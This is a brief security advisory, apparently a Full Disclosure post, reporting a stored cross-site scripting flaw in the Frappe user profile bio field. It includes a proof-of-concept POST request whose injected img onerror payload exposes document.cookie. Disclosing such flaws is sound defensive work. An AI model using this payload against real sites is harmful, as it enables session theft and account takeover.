Posted by Ron E on Jun 03
An authenticated attacker can inject JavaScript into the bio field of their
user profile. When the profile is viewed by another user, the injected
script executes.
*Proof of Concept:*
POST
/api/method/frappe.desk.page.user_profile.user_profile.update_profile_info
HTTP/2
Host: –host–
profile_info=”bio”:””><img src=x onerror=alert(document.cookie)>”
– Read More – Full Disclosure
